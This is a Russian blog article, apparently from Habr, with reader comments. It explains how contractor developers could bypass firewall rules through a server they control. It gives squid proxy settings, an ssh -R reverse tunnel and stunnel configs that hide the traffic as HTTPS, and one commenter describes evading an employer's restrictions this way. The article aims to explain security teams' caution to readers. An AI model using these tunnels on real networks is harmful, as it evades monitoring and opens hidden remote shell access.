Всё описанное является вымыслом, все совпадения случайны.

Представим, что вы работаете специалистом по информационной безопасности. У вас в компании есть ИТ-отдел, которому нужна помощь (не ваша) в реализации крупного проекта. Что делает ИТ-отдел? Ну, например, проводит конкурс на создание необходимого прикладного программного обеспечения. Его выигрывает компания «Крутые погромисты со 100-летним опытом», которой нужно будет предоставить сервера под тестовую и промышленную среду разрабатываемого продукта в подконтрольной вам инфраструктуре.

Вы выкатываете требования по подключению, настройке серверов, интеграции с другими системами и прочее, на что у вас хватает фантазии и полномочий. ИТ-отдел выделяет и настраивает необходимую инфраструктуру. Поскольку разработчики по контракту должны сопровождать систему, им выдаётся полный доступ на выделенных им серверах. Пусть обслуживают, а иначе «за что мы им платим такие деньги» ©.

Отлично, внешние разработчики имеют доступ только к своим серверам, по защищённым каналам, с персонифицированными учётными записями, доступ только через систему контроля привилегированных пользователей, доступ в интернет закрыт, все остальные доступы порезаны.

Проходит время, проект развивается, и к вам приходит безобидный запрос — открыть доступ с пары серверов в тестовом и промышленном контуре на определённый сервер. Доступ необходим для тестирования нового функционала разрабатываемого приложения. Ребята из ИТ-отдела говорят о важности задачи и горящих сроках, уверяют, что вся работа стоит только из‑за запретов службы ИБ. Вы выясняете, что сервер принадлежит компании разработчиков. И открываете доступ к данному серверу на брандмауэре.

А дальше мы рассмотрим 3 трюка, которые разработчики могут провернуть при таком сценарии. История подразумевают, что разработчики имеют полный доступ на внутреннем и внешнем сервере.

  • Прямой прокси (Forward Proxy) (squid)

  • Обратный прокси(reverse proxy) (nginx or stunnel)

  • reverse tunnels (ssh -R)

Прямой прокси (Forward Proxy)

Это тип прокси, когда сервер действует как посредник между клиентом и интернетом. Клиент запрашивает ресурс, прямой прокси‑сервер получает доступ к ресурсу от имени клиента и пересылает его обратно клиенту.

В нашем случае клиентом будет выделенный разработчику сервер (internal.test.ru), а прокси‑сервером — внешний сервер, к которому мы разрешили доступ (external.ru).

Предположим на брандмауэре мы разрешили доступ с internal.test.ru к external.ru без ограничений по портам и протоколам. Для моделирования ситуации возьмём брандмауэр opensense. В нашем примере internal.test.ru может ходить в интернет только через брандмауэр, а external.ru имеет белый ip‑адрес.

Правила на МЭ
Правила на МЭ

В этом случае разработчикам достаточно разместить прокси по адресу external.ru, чтобы в любое время c internal.test.ru можно подключиться к любому другому домену (например, на «злодейский» google.com). Проверим без настройки прокси:

Достаточно просто направить запрос через прокси, размещённый по адресу external.ru. Например, squid это один из прямых прокси, который вы можете использовать для этой цели, и его можно настроить следующим образом:  

acl internal src ${SUBNET OF YOUR INTERNAL SERVER(S)}
http_access allow internal
http_access deny all

… а потом через squid любая программа с internal.test.ru сможет подключиться к любому хосту, доступному с external.ru, пока на http://external.ru:3128 настроен и включен прямой прокси.

Для проверки запустим команду на internal.test.ru:

$ curl --proxy http://external.ru:3128 https://google.com

… и запрос будет успешным, несмотря на то, что на брандмауэре нет правила, разрешающего доступ на https://google.com. Потому что на файрволе запрос идёт на легитимный адрес, и служба ИБ не сможет сказать, что используется переадресация на прокси. Или сможет?

Соединение на МЭ – видно соединение на порт 3128
Соединение на МЭ – видно соединение на порт 3128

На брандмауэре мы увидим трафик по открытому протоколу и заблокируем его.

Обратный туннель

Доступ к внешним ресурсам — это ещё половина беды.

Есть трюк, известный как реверс туннель, который позволяет туннелировать входящие соединения через исходящие соединения. Большинство обратных туннелей используют два свойства TCP-соединения:

  • TCP‑соединения могут быть долгоживущими (иногда очень долгоживущими).

  • TCP‑соединения должны поддерживают сетевой трафик в обоих направлениях.

В обычном случае многие TCP‑соединения недолговечны. Например, когда вы открываете https://google.com в своём браузере, это HTTPS‑запрос, который находится поверх TCP‑соединения. HTTP сообщение запроса — это данные, отправленные от клиента к серверу через TCP‑соединение. А ответное сообщение HTTP — это данные, отправленные от сервера клиенту через TCP‑соединение, после чего TCP‑соединение закрывается.

Чтобы проиллюстрировать, как это работает, построим обратный туннель SSH. Обычно для создания обратного туннеля SSH можно запустить команду вроде этой (например с internal.test.ru): 

$ ssh -R "${EXTERNAL_PORT}:localhost:${INTERNAL_PORT}" -N external.ru

В обратном туннеле SSH клиентская машина (например, internal.test.ru) инициирует исходящий TCP запрос к SSH (sshd) на внешней машине (например, external.ru). Когда sshd получает этот TCP-запрос, он поддерживает TCP-соединение и затем прослушивает входящие запросы на EXTERNAL_PORT, принадлежащий серверу.

sshd пересылает все запросы, полученные на этот порт, через активное TCP‑соединение обратно к INTERNAL_PORT на internal.test.ru. Это отлично работает, поскольку TCP‑соединения допускают произвольный поток данных в обоих направлениях и протоколу всё равно, если обычный поток запросов/ответов перевернут.

Команда на internal.test.ru:

Отображение на external.ru:

Подключаемся с external.ru на localhost:17722:

Фактически, обратный туннель SSH не просто позволяет организовать входящие подключения к внутренней машине, но и позволяет разработчикам организовать входящие подключения к любой машине, доступной с internal.test.ru. Однако такого рода соединения с другими внутренними хостами могут быть вовремя замечены и заблокированы.

С точки зрения брандмауэра, наша internal.test.ru только что совершила единственный долгоживущий исходящий сеанс с external.ru и брандмауэр не может легко определить, что настоящие запросы идут в другую сторону (и являются входящими), поскольку эти запросы туннелируются внутри исходящего запроса.

К счастью, этот трюк не является надёжным решением по двум причинам:

  1. Брандмауэр покажет (и может заблокировать) долгоживущую связь 

Можно замаскировать долгосрочную связь под серию кратковременных связей (я никогда не пробовал так сделать раньше, поэтому пока не знаю как это сделать, жду ваших подсказок в комментариях — прим. автора).

2. Брандмауэр покажет, что установлено какое-то SSH-соединение 

Даже если соединение SSH зашифровано, оно все равно возможно. На брандмауэре можно обнаружить, что используется протокол SSH. Многие брандмауэры настроены на запрет SSH‑трафика по умолчанию, если только если мы явно его не разрешили.

Однако есть решение для этих случаев.

Reverse proxy

Конечно же, вы не откроете весь хост, а спросите, какие порты необходимы. А разработчики ответят вам, что необходим 443 порт. Вы проверите и при проверке даже увидите там какой‑то API. Похоже, всё честно, и вы настроите правило, которые запросили разработчики.

 

Подключиться к другим портам уже не получится, так что вы спокойно займетёсь своими делами. А зря!

Для сокрытия трафика его можно зашифровать. Есть довольно много способов это сделать. Одним из способов является установка «обратного прокси‑сервера с TLS» перед любой службой, связь с которой необходимо установить зашифрованное соединение. Reverse proxy — тип прокси‑сервера, который ретранслирует запросы клиентов из внешней сети на один или несколько серверов, логически расположенных во внутренней сети. При этом для клиента это выглядит так, будто запрашиваемые ресурсы находятся непосредственно на прокси‑сервере

Самые известные представители обратных прокси являются: 

  • nginx

  • haproxy

  • stunnel

Посмотрим на примере stunnel

Настроим stunnel на external.ru с конфигурацией, которая будет выглядеть так: 

[default]
accept = 443
connect = localhost:3128
cert = /path/to/your-certificate.pem

И настроим stunnel на internal.test.ru с конфигурацией, которая будет выглядеть так:

CAfile = servercert.pem

[ssh]
client = yes
accept = 127.0.0.1:222
connect = external.ru:443

… и теперь подключения к https://external.ru шифруются и обрабатываются stunnel, который будет расшифровывать трафик и маршрутизировать эти запросы на squid порт 3128.

Чтобы этот способ хорошо сработал, необходимо получить действующий сертификат для external.ru, который можно получить с помощью Let's Encrypt.

Итак, теперь разработчики могут получить доступ к любому общедоступному адресу с выделенного им сервера, несмотря на ограничения брандмауэра.

Более того, служба ИБ, наблюдая за логами брандмауэра, больше не может обнаружить, что что‑то не так, потому что все соединения с внешним миром покажутся брандмауэру как зашифрованные HTTPS‑соединения к external.ru:443, что является обычным, разрешённым нами же подключением.

C:\Users\konev\AppData\Local\Microsoft\Windows\INetCache\Content.Word\fi_443.png
C:\Users\konev\AppData\Local\Microsoft\Windows\INetCache\Content.Word\fi_443.png

Также можно обернуть SSH соединение в HTTPS-соединении. Это позволит замаскировать SSH-трафик под HTTPS-трафик с помощью stunnel. Единственное, что нужно сделать, это немного изменить нашу ssh -R команду, которая может выглядеть так: 

$ssh -R 17722:localhost:22 -N localhost –p 222

… и теперь исходящий SSH‑запрос замаскирован под исходящий HTTPS‑запрос.

Более того, можно использовать этот замаскированный исходящий SSH запрос на создание обратного туннеля SSH, который можно использовать для организации сеанса с external.ru на internal.test.ru.

Мы видим, что порт 17722 открыт локально на external.ru.

Теперь можно отдельно установить ssh соединение к внутреннему серверу через внешний сервер следующим образом: 

$ ssh -p 17722 127.0.0.1

… и у разработчиков есть полный доступ к командной строке выделенного внутреннего сервера, в обход всех наших ограничений.

На брандмауэре мы увидим только исходящее соединение по HTTPS:

C:\Users\konev\AppData\Local\Microsoft\Windows\INetCache\Content.Word\ntop_ssh_443.png

Для получения доступа в обход защиты разработчики просто попросили службу ИБ добавить правило брандмауэра, разрешающее исходящий HTTPS‑трафик от internal.test.ru на external.ru для тестирования функционала своего приложения.

Заключение 

Мы рассмотрели гипотетическую ситуацию, в которой невинная, на первый взгляд, просьба клиентов (разработчиков) по изменению правила брандмауэра может привести к нарушению требований безопасности, если одно и то же лицо контролирует оба конца соединения. В свете этой истории, надеюсь, суровые требованиям службы ИБ и их несговорчивость в отдельных вопросах станут вам немножечко понятнее.

Спасибо за внимание! На текст вдохновила вот эта статья, которую написала Gabriella Gonzalez.

Комментарии (7)


  1. jackchickadee
    11.10.2024 11:27

    «Крутые погромисты со 100-летним опытом», которой нужно будет предоставить сервера под тестовую и
    промышленную среду разрабатываемого продукта в подконтрольной вам инфраструктуре.

    ошибка уже здесь. если они такие крутые то:

    1. пусть разрабатывают и тестируют на своих серверах под своим управлением где-то там.

    2. отдают готовый проверенный продукт для деплоя из своего гит-репозитория и не лезут в инфраструктуру.

    ps: так можно получить трояна в составе продукта. а можно и не получить.


  1. PikNic
    11.10.2024 11:27

    Работал в одной конторе, в которой с трудом выбил возможность удалённого подключения. Для понимания уровня паранойи — на рабочих ПК не было доступа в Интернет. Но можно же подключиться через VPN, и пусть открыт только RDP порт (SSH открывать отказались). Что ж, SSH-сервер на порту RDP + SSH-туннель + squid дома и у меня есть полноценный Интернет на рабочем месте, в то время как остальные пишут объяснительные за подключение смартфона к ПК. Как никто не пропалил? А очень просто — анальные зонды IT-отдел устанавливал только под винду, а линуксом пользоваться никто не умел.

    Потом VPN у меня отобрали с очередной сменой руководства, а сам я покинул это болото маразма, где правила мешали работать настолько, что начинаешь деградировать.


    1. Shaman_RSHU
      11.10.2024 11:27

      Когда ИТ-отдел занимается "типа безопасностью", всё что не понимают/не могут контролировать запрещают. А может быть у них NGFW не было :)


  1. V-core
    11.10.2024 11:27

    А где то, в другой вселенной, рассуждают о зеротрастах...


  1. voidstrx
    11.10.2024 11:27

    Что мешает завернуть трафик в тот же канал с которого подключаются разработчики?


    1. jackchickadee
      11.10.2024 11:27

      разработчики могут прийти откуда угодно и безопастностью себя не утруждают.
      даже на ssh jump server со стаическим IP вы их не уговорите, все придется делать самому.


  1. kvazimoda24
    11.10.2024 11:27

    А в чём смысл не пускать соединения из/в интернет с хостов, которые отданы под растерзание сторонним разработчикам? В любом случае, мы пустили на эти хосты недоверенных лиц, и эти хосты теперь скомпроментированы. А значит, доступ к внутренним ресурсам должен быть строго ограничен белым списком необходимого. А снаружи, если этим разрабам надо, то пусть ходят.

    На счёт троянов или украсть какие-то данные. Если у разработчиков и так есть, пусть даже периодический, доступ, то что им мешает заложить этого трояна в их разрабатываемый софт, и что мешает вытянуть данные при очередном сеансе доступа?

    Ну, т.е. на мой вгляд, вся эта история с анальными ограничениями для сторонних разрабов выглядит скорее как синдром вахтёра и неспособность оценивать реальные риски, оценивать угрозы. И приводит это к тому, что разработчики вместо того, чтобы софт разрабатывать, отлаживать какие-то трудновоспроизводимые глюки, просто обновить библиотеки на подконтрольных им хостах, вынуждены заниматься вот этой историей из статьи с реверсивными прокси, туннелями через ssh и т.д. и т.п.